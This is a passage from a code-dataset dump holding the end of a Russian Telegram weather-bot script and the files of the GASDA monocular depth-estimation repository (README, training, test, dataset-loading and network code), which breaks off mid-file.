el.select('.weatherIcoS .p3 .weatherIco ')[0].get('title')\n t_description_9_00 = el.select('.weatherIcoS .p4 .weatherIco ')[0].get('title')\n t_description_12_00 = el.select('.weatherIcoS .p5 .weatherIco ')[0].get('title')\n t_description_15_00 = el.select('.weatherIcoS .p6 .weatherIco ')[0].get('title')\n t_description_18_00 = el.select('.weatherIcoS .p7 .weatherIco ')[0].get('title')\n t_description_21_00 = el.select('.weatherIcoS .p8 .weatherIco ')[0].get('title')\n time_rise = el.select('.infoDaylight')[0].text\n temp_now = el.select('.lSide .imgBlock .today-temp')[0].text\n day_link = el.select('.day-link')[0].text \n day = el.select('.tabs .main .date ')[0].text\n month = el.select('.tabs .main .month')[0].text\n\n\[email protected]_handler(commands=['start'])\ndef welcome(message):\n bot.send_message(message.chat.id, 'Привет, я покажу тебе погоду в Богородске, напиши /info') \n\n\n\[email protected]_handler(commands=['info'])\ndef info(message):\n bot.send_message(message.chat.id, 'Cейчас на улице '+ temp_now + '\\n'+ '\\n'\n +'Погода сегодня: ('+day +' '+ month + ' - '+ day_link + ')\\n' \n + t_min_now + ', '+ t_max_now \n + ',' + '\\n' + wether_now \n + '\\n'+'\\n'+ descriprion_now +\n '\\n'+'\\n'+\n 'Почасовая погода:'+ '\\n'+\n 'Время '+'Температура '+ 'Ощущается'+'\\n'+\n '0:00 : '+ t_0_00 + ' '+t_feels_0_00 +\" \"+t_description_0_00 +'\\n'+\n '3:00 : '+ t_3_00 + ' '+t_feels_3_00 +\" \"+t_description_3_00 +'\\n'+\n '6:00 : '+ t_6_00 + ' '+t_feels_6_00 +\" \"+t_description_6_00 +'\\n'+\n '9:00 : '+ t_9_00 + ' '+t_feels_9_00 +\" \"+t_description_9_00 +'\\n'+\n '12:00 : '+ t_12_00 + ' '+t_feels_12_00 +\" \"+t_description_12_00 +'\\n'+\n '15:00 : '+ t_15_00 + ' '+t_feels_15_00 +\" \"+t_description_15_00 +'\\n'+\n '18:00 : '+ t_18_00 + ' '+t_feels_18_00 +\" \"+t_description_18_00 +'\\n'+\n '21:00 : '+ t_21_00 + ' '+t_feels_21_00 +\" \"+t_description_21_00 +'\\n'+\n '\\n'+\n time_rise[:13]+' '+ u'\\U0001F31D' +'\\n'+time_rise[13:] + ' ' + u'\\U0001F31A' \n )\n #bot.send_photo(message.chat.id, get('http:'+photo).content)\n\n\nif __name__ == '__main__':\n bot.polling(none_stop=True)\n\n" } ]
1
sshan-zhao/GASDA
https://github.com/sshan-zhao/GASDA
8ee725184ec74ba1fe6a61ddc290ed3bb7bf0db1
3316e8b0dc6a51acbd89496e437da249352c1189
94b8ded8747545b22be8c82efb74d03f363a40f4
refs/heads/master
2021-07-07T06:50:14.733384
2020-08-20T10:22:08
2020-08-20T10:24:35
173,511,350
145
28
null
null
null
null
null
[ { "alpha_fraction": 0.6306483149528503, "alphanum_fraction": 0.66764897108078, "avg_line_length": 39.18421173095703, "blob_id": "e089211b2cc879d3cedac9fc05d21b83353fe7ab", "content_id": "fefa131371c51a61cab19fd3994a83e555c68eb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3054, "license_type": "no_license", "max_line_length": 397, "num_lines": 76, "path": "/README.md", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "# GASDA\nThis is the PyTorch implementation for our CVPR'19 paper:\n\n**S. Zhao, H. Fu, M. Gong and D. Tao. Geometry-Aware Symmetric Domain Adaptation for Monocular Depth Estimation. [PAPER](https://sshan-zhao.github.io/papers/gasda.pdf) [POSTER](https://sshan-zhao.github.io/papers/gasda_poster.pdf)**\n\n![Framework](https://github.com/sshan-zhao/GASDA/blob/master/img/framework.png)\n\n## Environment\n1. Python 3.6\n2. PyTorch 0.4.1\n3. CUDA 9.0\n4. Ubuntu 16.04\n\n## Datasets\n[KITTI](http://www.cvlibs.net/datasets/kitti/raw_data.php)\n\n[vKITTI](https://europe.naverlabs.com/Research/Computer-Vision/Proxy-Virtual-Worlds/)\n\nPrepare the two datasets according to the datalists (*.txt in [datasets](https://github.com/sshan-zhao/GASDA/tree/master/datasets))\n```\ndatasets\n |----kitti \n |----2011_09_26 \n |----2011_09_28 \n |----......... \n |----vkitti \n |----rgb \n |----0006 \n |-----....... \n |----depth \n |----0006 \n |----.......\n```\n\n## Training (Tesla V100, 16GB)\n- Train [CycleGAN](https://github.com/junyanz/pytorch-CycleGAN-and-pix2pix) using the official experimental settings, or download our [pretrained models](https://1drv.ms/f/s!Aq9eyj7afTjMcZorokRKW4ATgZ8).\n\n- Train F_t\n```\npython train.py --model ft --gpu_ids 0 --batchSize 8 --loadSize 256 1024 --g_tgt_premodel ./cyclegan/G_Tgt.pth\n```\n\n- Train F_s\n```\npython train.py --model fs --gpu_ids 0 --batchSize 8 --loadSize 256 1024 --g_src_premodel ./cyclegan/G_Src.pth\n```\n\n- Train GASDA using the pretrained F_s, F_t and CycleGAN.\n```\npython train.py --freeze_bn --freeze_in --model gasda --gpu_ids 0 --batchSize 3 --loadSize 192 640 --g_src_premodel ./cyclegan/G_Src.pth --g_tgt_premodel ./cyclegan/G_Tgt.pth --d_src_premodel ./cyclegan/D_Src.pth --d_tgt_premodel ./cyclegan/D_Tgt.pth --t_depth_premodel ./checkpoints/vkitti2kitti_ft_bn/**_net_G_Depth_T.pth --s_depth_premodel ./checkpoints/vkitti2kitti_fs_bn/**_net_G_Depth_S.pth \n```\nNote: this training strategy is different from that in our paper.\n\n## Test\n[MODELS](https://drive.google.com/open?id=1CvuGUTObRhpZpSTYxy-BIRhft6ttMJOP).\n\nCopy the provided models to GASDA/checkpoints/vkitti2kitti_gasda/, and rename the models 1_* (e.g., 1_net_D_Src.pth), and then\n```\npython test.py --test_datafile 'test.txt' --which_epoch 1 --model gasda --gpu_ids 0 --batchSize 1 --loadSize 192 640\n```\n## Citation\nIf you use this code for your research, please cite our paper.\n```\n@inproceedings{zhao2019geometry,\n title={Geometry-Aware Symmetric Domain Adaptation for Monocular Depth Estimation},\n author={Zhao, Shanshan and Fu, Huan and Gong, Mingming and Tao, Dacheng},\n booktitle={Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition},\n pages={9788--9798},\n year={2019}\n}\n```\n## Acknowledgments\nCode is inspired by [T^2Net](https://github.com/lyndonzheng/Synthetic2Realistic) and [CycleGAN](https://github.com/junyanz/pytorch-CycleGAN-and-pix2pix).\n\n## Contact\nShanshan Zhao: [email protected] or [email protected]\n" }, { "alpha_fraction": 0.5851367712020874, "alphanum_fraction": 0.5896283984184265, "avg_line_length": 36.67692184448242, "blob_id": "d97f4e2bb442e431fd49f0073934c1176aa860a0", "content_id": "df06d639601082aee69737d34be056ab9086e276", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2449, "license_type": "no_license", "max_line_length": 91, "num_lines": 65, "path": "/train.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "import time\nimport torch.nn\nfrom options.train_options import TrainOptions\nfrom data import create_dataloader\nfrom models import create_model\nfrom utils.util import SaveResults\nfrom utils import dataset_util, util\nimport numpy as np\nimport cv2\ntorch.manual_seed(0)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\nnp.random.seed(0)\n\nif __name__ == '__main__':\n opt = TrainOptions().parse()\n train_data_loader = create_dataloader(opt)\n train_dataset_size = len(train_data_loader) \n print('#training images = %d' % train_dataset_size)\n \n model = create_model(opt)\n model.setup(opt)\n save_results = SaveResults(opt)\n total_steps = 0\n\n lr = opt.lr_task\n\n for epoch in range(opt.epoch_count, opt.niter + opt.niter_decay + 1):\n epoch_start_time = time.time()\n iter_data_time = time.time()\n epoch_iter = 0\n\n # training\n print(\"training stage (epoch: %s) starting....................\" % epoch)\n for ind, data in enumerate(train_data_loader):\n iter_start_time = time.time()\n if total_steps % opt.print_freq == 0:\n t_data = iter_start_time - iter_data_time\n total_steps += opt.batchSize\n epoch_iter += opt.batchSize\n model.set_input(data)\n model.optimize_parameters()\n if total_steps % opt.print_freq == 0:\n losses = model.get_current_losses()\n t = (time.time() - iter_start_time) / opt.batchSize\n save_results.print_current_losses(epoch, epoch_iter, lr, losses, t, t_data)\n\n if total_steps % opt.save_latest_freq == 0:\n print('saving the latest model (epoch %d, total_steps %d)' %\n (epoch, total_steps))\n model.save_networks('latest')\n\n if total_steps % opt.save_result_freq == 0:\n save_results.save_current_results(model.get_current_visuals(), epoch)\n\n iter_data_time = time.time()\n\n if epoch % opt.save_epoch_freq == 0:\n print('saving the model at the end of epoch %d, iters %d' %\n (epoch, total_steps))\n model.save_networks('latest')\n model.save_networks(epoch)\n print('End of epoch %d / %d \\t Time Taken: %d sec' %\n (epoch, opt.niter + opt.niter_decay, time.time() - epoch_start_time))\n lr = model.update_learning_rate()\n" }, { "alpha_fraction": 0.514518678188324, "alphanum_fraction": 0.5180924534797668, "avg_line_length": 34.387351989746094, "blob_id": "9c5759f5a0b85298c9914ac10488969aa6c663c8", "content_id": "4f20afc134dcaee99a6622797e632283f52b7384", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8954, "license_type": "no_license", "max_line_length": 123, "num_lines": 253, "path": "/data/datasets.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "import collections\nimport glob\nimport os\nimport os.path as osp\n\nimport numpy as np\nimport torch\nfrom PIL import Image\nfrom PIL import ImageOps\nfrom torch.utils import data\nfrom utils.dataset_util import KITTI\nimport random\nimport cv2\n\nclass ConcatDataset(torch.utils.data.Dataset):\n def __init__(self, *datasets):\n self.datasets = datasets\n\n def __getitem__(self, i):\n\n dd = {}\n {dd.update(d[i]) for d in self.datasets if d is not None}\n \n return dd\n\n def __len__(self):\n return max(len(d) for d in self.datasets if d is not None)\n\nclass VKittiDataset(data.Dataset):\n def __init__(self, root='./datasets', data_file='src_train.list',\n phase='train', img_transform=None, depth_transform=None,\n joint_transform=None):\n self.root = root\n self.data_file = data_file\n self.files = []\n self.phase = phase\n self.img_transform = img_transform\n self.depth_transform = depth_transform\n self.joint_transform = joint_transform\n\n with open(osp.join(self.root, self.data_file), 'r') as f:\n data_list = f.read().split('\\n')\n for data in data_list:\n\n if len(data) == 0:\n continue\n data_info = data.split(' ') \n \n self.files.append({\n \"rgb\": data_info[0],\n \"depth\": data_info[1]\n })\n \n \n \n def __len__(self):\n return len(self.files)\n \n def read_data(self, datafiles):\n\n assert osp.exists(osp.join(self.root, datafiles['rgb'])), \"Image does not exist\"\n rgb = Image.open(osp.join(self.root, datafiles['rgb'])).convert('RGB')\n\n assert osp.exists(osp.join(self.root, datafiles['depth'])), \"Depth does not exist\" \n depth = Image.open(osp.join(self.root, datafiles['depth'])) \n \n return rgb, depth\n \n def __getitem__(self, index):\n if self.phase == 'train':\n index = random.randint(0, len(self)-1)\n if index > len(self) - 1:\n index = index % len(self)\n datafiles = self.files[index]\n img, depth = self.read_data(datafiles)\n\n if self.joint_transform is not None:\n if self.phase == 'train': \n img, _, depth, _ = self.joint_transform((img, None, depth, self.phase, None))\n else:\n img, _, depth, _ = self.joint_transform((img, None, depth, 'test', None))\n \n if self.img_transform is not None:\n img = self.img_transform(img)\n\n if self.depth_transform is not None:\n depth = self.depth_transform(depth)\n\n if self.phase =='test':\n data = {}\n data['img'] = l_img\n data['depth'] = depth\n return data\n\n data = {}\n if img is not None:\n data['img'] = img\n if depth is not None:\n data['depth'] = depth\n return {'src': data}\n\nclass KittiDataset(data.Dataset):\n def __init__(self, root='./datasets', data_file='tgt_train.list', phase='train',\n img_transform=None, joint_transform=None, depth_transform=None):\n \n self.root = root\n self.data_file = data_file\n self.files = []\n self.phase = phase\n self.img_transform = img_transform\n self.joint_transform = joint_transform\n self.depth_transform = depth_transform\n\n with open(osp.join(self.root, self.data_file), 'r') as f:\n data_list = f.read().split('\\n')\n for data in data_list:\n if len(data) == 0:\n continue\n \n data_info = data.split(' ')\n\n self.files.append({\n \"l_rgb\": data_info[0],\n \"r_rgb\": data_info[1],\n \"cam_intrin\": data_info[2],\n \"depth\": data_info[3]\n })\n \n def __len__(self):\n return len(self.files)\n\n def read_data(self, datafiles):\n #print(osp.join(self.root, datafiles['l_rgb']))\n assert osp.exists(osp.join(self.root, datafiles['l_rgb'])), \"Image does not exist\"\n l_rgb = Image.open(osp.join(self.root, datafiles['l_rgb'])).convert('RGB')\n w = l_rgb.size[0]\n h = l_rgb.size[1]\n assert osp.exists(osp.join(self.root, datafiles['r_rgb'])), \"Image does not exist\"\n r_rgb = Image.open(osp.join(self.root, datafiles['r_rgb'])).convert('RGB')\n\n kitti = KITTI()\n assert osp.exists(osp.join(self.root, datafiles['cam_intrin'])), \"Camera info does not exist\"\n fb = kitti.get_fb(osp.join(self.root, datafiles['cam_intrin']))\n assert osp.exists(osp.join(self.root, datafiles['depth'])), \"Depth does not exist\"\n depth = kitti.get_depth(osp.join(self.root, datafiles['cam_intrin']),\n osp.join(self.root, datafiles['depth']), [h, w])\n\n return l_rgb, r_rgb, fb, depth\n \n def __getitem__(self, index):\n if self.phase == 'train':\n index = random.randint(0, len(self)-1)\n if index > len(self)-1:\n index = index % len(self)\n datafiles = self.files[index]\n l_img, r_img, fb, depth = self.read_data(datafiles)\n \n if self.joint_transform is not None:\n if self.phase == 'train':\n l_img, r_img, _, fb = self.joint_transform((l_img, r_img, None, 'train', fb))\n else:\n l_img, r_img, _, fb = self.joint_transform((l_img, r_img, None, 'test', fb))\n \n if self.img_transform is not None:\n l_img = self.img_transform(l_img)\n if r_img is not None:\n r_img = self.img_transform(r_img)\n \n if self.phase =='test':\n data = {}\n data['left_img'] = l_img\n data['right_img'] = r_img\n data['depth'] = depth\n data['fb'] = fb\n return data\n\n data = {}\n if l_img is not None:\n data['left_img'] = l_img\n if r_img is not None:\n data['right_img'] = r_img\n if fb is not None:\n data['fb'] = fb\n\n return {'tgt': data}\n\n# just for test \nclass StereoDataset(data.Dataset):\n def __init__(self, root='./datasets', data_file='test.list', phase='test',\n img_transform=None, joint_transform=None, depth_transform=None):\n self.root = root\n self.data_file = data_file\n self.files = []\n self.phase = phase\n self.img_transform = img_transform\n self.joint_transform = joint_transform\n\n with open(osp.join(self.root, self.data_file), 'r') as f:\n data_list = f.read().split('\\n')\n for data in data_list:\n if len(data) == 0:\n continue\n \n data_info = data.split(' ')\n\n self.files.append({\n \"rgb\": data_info[0],\n })\n \n def __len__(self):\n return len(self.files)\n\n def read_data(self, datafiles):\n \n print(osp.join(self.root, datafiles['rgb']))\n assert osp.exists(osp.join(self.root, datafiles['rgb'])), \"Image does not exist\"\n rgb = Image.open(osp.join(self.root, datafiles['rgb'])).convert('RGB')\n \n disp = cv2.imread(osp.join(self.root, datafiles['rgb'].replace('image_2', 'disp_noc_0').replace('jpg', 'png')), -1)\n disp = disp.astype(np.float32)/256.0\n return rgb, disp\n \n def __getitem__(self, index):\n index = index % len(self)\n datafiles = self.files[index]\n img, disp = self.read_data(datafiles)\n \n if self.joint_transform is not None:\n img, _, _, _, _ = self.joint_transform((img, None, None, 'test', None, None))\n \n if self.img_transform is not None:\n img = self.img_transform(img)\n\n data = {}\n data['left_img'] = img\n data['disp'] = disp\n return data\n\ndef get_dataset(root, data_file='train.list', dataset='kitti', phase='train',\n img_transform=None, depth_transform=None,\n joint_transform=None, test_dataset='kitti'):\n\n DEFINED_DATASET = {'KITTI', 'VKITTI'}\n assert dataset.upper() in DEFINED_DATASET\n name2obj = {'KITTI': KittiDataset,\n 'VKITTI': VKittiDataset,\n }\n if phase == 'test' and test_dataset == 'stereo':\n name2obj['KITTI'] = StereoDataset\n\n return name2obj[dataset.upper()](root=root, data_file=data_file, phase=phase,\n img_transform=img_transform, depth_transform=depth_transform,\n joint_transform=joint_transform)\n\n" }, { "alpha_fraction": 0.5219199061393738, "alphanum_fraction": 0.5729402899742126, "avg_line_length": 36.79999923706055, "blob_id": "2c6e108f732ef88c39091aa58812b30388876b92", "content_id": "4346fc16780eafe493f8fb030a298e759765094e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2646, "license_type": "no_license", "max_line_length": 180, "num_lines": 70, "path": "/test.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "import time\nimport torch.nn\nfrom options.test_options import TestOptions\nfrom data import create_dataloader\nfrom models import create_model\nfrom utils import dataset_util\nimport numpy as np\nimport os\nfrom PIL import Image\nimport cv2\n\nif __name__ == '__main__':\n opt = TestOptions().parse()\n data_loader = create_dataloader(opt)\n dataset_size = len(data_loader) \n print('#test images = %d' % dataset_size)\n \n model = create_model(opt)\n model.setup(opt)\n model.eval()\n\n save_dir = os.path.join('results', opt.model+'_'+opt.suffix+'_'+opt.which_epoch)\n os.makedirs(save_dir)\n num_samples = len(data_loader)\n rms = np.zeros(num_samples, np.float32)\n log_rms = np.zeros(num_samples, np.float32)\n abs_rel = np.zeros(num_samples, np.float32)\n sq_rel = np.zeros(num_samples, np.float32)\n a1 = np.zeros(num_samples, np.float32)\n a2 = np.zeros(num_samples, np.float32)\n a3 = np.zeros(num_samples, np.float32)\n MAX_DEPTH = 80 #50\n MIN_DEPTH = 1e-3\n \n for ind, data in enumerate(data_loader):\n\n model.set_input(data) \n model.test()\n\n visuals = model.get_current_visuals()\n\n gt_depth = np.squeeze(data['depth'].data.numpy())\n pred_depth = np.squeeze(visuals['pred'].data.cpu().numpy())\n \n w = gt_depth.shape[1]\n h = gt_depth.shape[0]\n \n mask = np.logical_and(gt_depth > MIN_DEPTH, gt_depth < MAX_DEPTH)\n crop = np.array([0.40810811 * h, 0.99189189 * h,\n 0.03594771 * w, 0.96405229 * w]).astype(np.int32)\n crop_mask = np.zeros(mask.shape)\n crop_mask[crop[0]:crop[1], crop[2]:crop[3]] = 1\n mask = np.logical_and(mask, crop_mask)\n \n pred_depth = cv2.resize(pred_depth, (w, h), cv2.INTER_CUBIC)\n pred_depth += 1.0\n pred_depth /= 2.0\n pred_depth *= 655.35\n \n # evaluate\n pred_depth[pred_depth<1e-3] = 1e-3\n pred_depth[pred_depth > MAX_DEPTH] = MAX_DEPTH\n \n abs_rel[ind], sq_rel[ind], rms[ind], log_rms[ind], a1[ind], a2[ind], a3[ind] = dataset_util.compute_errors(gt_depth[mask], pred_depth[mask])\n \n # save\n pred_img = Image.fromarray(pred_depth.astype(np.int32)*100, 'I')\n pred_img.save('%s/%05d_pred.png'%(save_dir, ind))\n print(\"{:>10}, {:>10}, {:>10}, {:>10}, {:>10}, {:>10}, {:>10}\".format('abs_rel', 'sq_rel', 'rms', 'log_rms', 'a1', 'a2', 'a3'))\n print(\"{:10.4f}, {:10.4f}, {:10.3f}, {:10.3f}, {:10.3f}, {:10.3f}, {:10.3f}\".format(abs_rel.mean(), sq_rel.mean(), rms.mean(), log_rms.mean(), a1.mean(), a2.mean(), a3.mean()))\n" }, { "alpha_fraction": 0.547847330570221, "alphanum_fraction": 0.5695073008537292, "avg_line_length": 36.11697006225586, "blob_id": "1e9fbb6e6b35a8fe521297bf2abf9d556d8b1d41", "content_id": "13fd198a261e84792647b85016fbaf8c6902df4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22530, "license_type": "no_license", "max_line_length": 140, "num_lines": 607, "path": "/models/networks.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nfrom torch.nn import init\nimport functools\nfrom torch.optim import lr_scheduler\nimport torch.nn.functional as F\nfrom torchvision import models\nimport numpy as np\nfrom torch.autograd import Function\nfrom utils.bilinear_sampler import *\n\ndef freeze_bn(m):\n classname = m.__class__.__name__\n if classname.find('BatchNorm') != -1:\n m.eval()\n m.weight.requires_grad = False\n m.bias.requires_grad = False\n\ndef freeze_in(m):\n classname = m.__class__.__name__\n if classname.find('InstanceNorm') != -1:\n m.eval()\n #m.weight.requires_grad = False\n #m.bias.requires_grad = False\n\ndef unfreeze_bn(m):\n classname = m.__class__.__name__\n if classname.find('BatchNorm') != -1:\n m.train()\n m.weight.requires_grad = True\n m.bias.requires_grad = True\n\ndef get_nonlinearity_layer(activation_type='PReLU'):\n if activation_type == 'ReLU':\n nonlinearity_layer = nn.ReLU(True)\n elif activation_type == 'SELU':\n nonlinearity_layer = nn.SELU(True)\n elif activation_type == 'LeakyReLU':\n nonlinearity_layer = nn.LeakyReLU(0.1, True)\n elif activation_type == 'PReLU':\n nonlinearity_layer = nn.PReLU()\n else:\n raise NotImplementedError('activation layer [%s] is not found' % activation_type)\n return nonlinearity_layer\n\ndef get_norm_layer(norm_type='instance'):\n if norm_type == 'batch':\n norm_layer = functools.partial(nn.BatchNorm2d, affine=True)\n elif norm_type == 'instance':\n norm_layer = functools.partial(nn.InstanceNorm2d, affine=False, track_running_stats=True)\n elif norm_type == 'none':\n norm_layer = None\n else:\n raise NotImplementedError('normalization layer [%s] is not found' % norm_type)\n return norm_layer\n\n\ndef get_scheduler(optimizer, opt):\n if opt.lr_policy == 'lambda':\n def lambda_rule(epoch):\n lr_l = 1.0 - max(0, epoch + 1 + opt.epoch_count - opt.niter) / float(opt.niter_decay + 1)\n return lr_l\n scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_rule)\n elif opt.lr_policy == 'step':\n scheduler = lr_scheduler.StepLR(optimizer, step_size=opt.lr_decay_iters, gamma=0.5)\n elif opt.lr_policy == 'plateau':\n scheduler = lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.2, threshold=0.01, patience=5)\n else:\n return NotImplementedError('learning rate policy [%s] is not implemented', opt.lr_policy)\n return scheduler\n\n\ndef init_weights(net, init_type='normal', gain=0.02):\n def init_func(m):\n classname = m.__class__.__name__\n if hasattr(m, 'weight') and (classname.find('Conv') != -1 or classname.find('Linear') != -1):\n if init_type == 'normal':\n init.normal_(m.weight.data, 0.0, gain)\n elif init_type == 'xavier':\n init.xavier_normal_(m.weight.data, gain=gain)\n elif init_type == 'kaiming':\n init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n elif init_type == 'orthogonal':\n init.orthogonal_(m.weight.data, gain=gain)\n else:\n raise NotImplementedError('initialization method [%s] is not implemented' % init_type)\n if hasattr(m, 'bias') and m.bias is not None:\n init.constant_(m.bias.data, 0.0)\n elif classname.find('BatchNorm2d') != -1:\n init.normal_(m.weight.data, 1.0, gain)\n init.constant_(m.bias.data, 0.0)\n\n print('initialize network with %s' % init_type)\n net.apply(init_func)\n\n\ndef init_net(net, init_type='normal', gpu_ids=[]):\n if len(gpu_ids) > 0:\n assert(torch.cuda.is_available())\n net.to(gpu_ids[0])\n net = torch.nn.DataParallel(net, gpu_ids)\n init_weights(net, init_type)\n return net\n\ndef gradient_x(img):\n gx = img[:,:,:-1,:] - img[:,:,1:,:]\n return gx\n\ndef gradient_y(img):\n gy = img[:,:,:,:-1] - img[:,:,:,1:]\n return gy\n\ndef get_grid(x):\n torchHorizontal = torch.linspace(-1.0, 1.0, x.size(3)).view(1, 1, 1, x.size(3)).expand(x.size(0), 1, x.size(2), x.size(3))\n torchVertical = torch.linspace(-1.0, 1.0, x.size(2)).view(1, 1, x.size(2), 1).expand(x.size(0), 1, x.size(2), x.size(3))\n grid = torch.cat([torchHorizontal, torchVertical], 1)\n\n return grid\n\ndef ssim(x, y):\n\n C1 = 0.01 ** 2\n C2 = 0.03 ** 2\n \n mu_x = F.avg_pool2d(x, 3, 1)\n mu_y = F.avg_pool2d(y, 3, 1)\n\n sigma_x = F.avg_pool2d(x**2, 3, 1) - mu_x**2\n sigma_y = F.avg_pool2d(y**2, 3, 1) - mu_y**2\n sigma_xy = F.avg_pool2d(x*y, 3, 1) - mu_x*mu_y\n\n SSIM_n = (2 * mu_x * mu_y + C1) * (2 * sigma_xy + C2)\n SSIM_d = (mu_x ** 2 + mu_y ** 2 + C1) * (sigma_x + sigma_y + C2)\n\n SSIM = SSIM_n / SSIM_d\n return torch.clamp((1-SSIM)/2, 0, 1)\n \n##############################################################################\n# Classes\n##############################################################################\n\nclass BerHuLoss(nn.Module):\n def __init__(self):\n super(BerHuLoss, self).__init__()\n\n def forward(self, input, target):\n x = input - target\n abs_x = torch.abs(x)\n c = torch.max(abs_x).item() / 5\n mask = (abs_x <= c).float()\n l2_losses = (x ** 2 + c ** 2) / (2 * c)\n losses = mask * abs_x + (1 - mask) * l2_losses\n count = np.prod(input.size(), dtype=np.float32).item()\n \n return torch.sum(losses) / count\n \nclass SmoothLoss(nn.Module):\n def __init__(self):\n super(SmoothLoss, self).__init__()\n\n def forward(self, depth, image):\n depth_grad_x = gradient_x(depth)\n depth_grad_y = gradient_y(depth)\n image_grad_x = gradient_x(image)\n image_grad_y = gradient_y(image)\n\n weights_x = torch.exp(-torch.mean(torch.abs(image_grad_x),1,True))\n weights_y = torch.exp(-torch.mean(torch.abs(image_grad_y),1,True))\n smoothness_x = depth_grad_x*weights_x\n smoothness_y = depth_grad_y*weights_y\n\n loss_x = torch.mean(torch.abs(smoothness_x))\n loss_y = torch.mean(torch.abs(smoothness_y))\n\n\n loss = loss_x + loss_y\n \n return loss\n\nclass ReconLoss(nn.Module):\n def __init__(self, alpha=0.85):\n super(ReconLoss, self).__init__()\n self.alpha = alpha\n\n def forward(self, img0, img1, pred, fb, max_d=655.35):\n\n x0 = (img0 + 1.0) / 2.0\n x1 = (img1 + 1.0) / 2.0\n\n assert x0.shape[0] == pred.shape[0]\n assert pred.shape[0] == fb.shape[0]\n\n new_depth = (pred + 1.0) / 2.0\n new_depth *= max_d\n disp = 1.0 / (new_depth+1e-6)\n tmp = np.array(fb)\n for i in range(new_depth.shape[0]):\n disp[i,:,:,:] *= tmp[i]\n disp[i,:,:,:] /= disp.shape[3] # normlize to [0,1]\n\n #x0_w = warp(x1, -1.0*disp)\n x0_w = bilinear_sampler_1d_h(x1, -1.0*disp)\n\n ssim_ = ssim(x0, x0_w)\n l1 = torch.abs(x0-x0_w)\n loss1 = torch.mean(self.alpha * ssim_)\n loss2 = torch.mean((1-self.alpha) * l1)\n loss = loss1 + loss2\n\n recon_img = x0_w * 2.0-1.0\n\n return loss, recon_img\n\n# Defines the GAN loss which uses either LSGAN or the regular GAN.\n# When LSGAN is used, it is basically same as MSELoss,\n# but it abstracts away the need to create the target label tensor\n# that has the same size as the input\nclass GANLoss(nn.Module):\n def __init__(self, use_lsgan=True, target_real_label=1.0, target_fake_label=0.0):\n super(GANLoss, self).__init__()\n self.register_buffer('real_label', torch.tensor(target_real_label))\n self.register_buffer('fake_label', torch.tensor(target_fake_label))\n if use_lsgan:\n self.loss = nn.MSELoss()\n else:\n self.loss = nn.BCELoss()\n\n def get_target_tensor(self, input, target_is_real):\n if target_is_real:\n target_tensor = self.real_label\n else:\n target_tensor = self.fake_label\n return target_tensor.expand_as(input)\n\n def __call__(self, input, target_is_real):\n target_tensor = self.get_target_tensor(input, target_is_real)\n return self.loss(input, target_tensor)\n\n\nclass GaussianNoiseLayer(nn.Module):\n def __init__(self):\n super(GaussianNoiseLayer, self).__init__()\n\n def forward(self, x):\n if self.training == False:\n return x\n noise = Variable((torch.randn(x.size()).cuda(x.data.get_device()) - 0.5) / 10.0)\n return x+noise\n\n\nclass _InceptionBlock(nn.Module):\n def __init__(self, input_nc, output_nc, norm_layer=nn.BatchNorm2d, nonlinearity=nn.PReLU(), width=1, drop_rate=0, use_bias=False):\n super(_InceptionBlock, self).__init__()\n\n self.width = width\n self.drop_rate = drop_rate\n\n for i in range(width):\n layer = nn.Sequential(\n nn.ReflectionPad2d(i*2+1),\n nn.Conv2d(input_nc, output_nc, kernel_size=3, padding=0, dilation=i*2+1, bias=use_bias)\n )\n setattr(self, 'layer'+str(i), layer)\n\n self.norm1 = norm_layer(output_nc * width)\n self.norm2 = norm_layer(output_nc)\n self.nonlinearity = nonlinearity\n self.branch1x1 = nn.Sequential(\n nn.ReflectionPad2d(1),\n nn.Conv2d(output_nc * width, output_nc, kernel_size=3, padding=0, bias=use_bias)\n )\n\n\n def forward(self, x):\n result = []\n for i in range(self.width):\n layer = getattr(self, 'layer'+str(i))\n result.append(layer(x))\n output = torch.cat(result, 1)\n output = self.nonlinearity(self.norm1(output))\n output = self.norm2(self.branch1x1(output))\n if self.drop_rate > 0:\n output = F.dropout(output, p=self.drop_rate, training=self.training)\n\n return self.nonlinearity(output+x)\n\n\nclass _EncoderBlock(nn.Module):\n def __init__(self, input_nc, middle_nc, output_nc, norm_layer=nn.BatchNorm2d, nonlinearity=nn.PReLU(), use_bias=False):\n super(_EncoderBlock, self).__init__()\n\n model = [\n nn.Conv2d(input_nc, middle_nc, kernel_size=3, stride=1, padding=1, bias=use_bias),\n norm_layer(middle_nc),\n nonlinearity,\n nn.Conv2d(middle_nc, output_nc, kernel_size=3, stride=1, padding=1, bias=use_bias),\n norm_layer(output_nc),\n nonlinearity\n ]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, x):\n return self.model(x)\n\n\nclass _DownBlock(nn.Module):\n def __init__(self, input_nc, output_nc, norm_layer=nn.BatchNorm2d, nonlinearity=nn.PReLU(), use_bias=False):\n super(_DownBlock, self).__init__()\n\n model = [\n nn.Conv2d(input_nc, output_nc, kernel_size=3, stride=1, padding=1, bias=use_bias),\n norm_layer(output_nc),\n nonlinearity,\n nn.MaxPool2d(kernel_size=2, stride=2),\n ]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, x):\n return self.model(x)\n\n\nclass _ShuffleUpBlock(nn.Module):\n def __init__(self, input_nc, up_scale, output_nc, norm_layer=nn.BatchNorm2d, nonlinearity=nn.PReLU(), use_bias=False):\n super(_ShuffleUpBlock, self).__init__()\n\n model = [\n nn.Conv2d(input_nc, input_nc*up_scale**2, 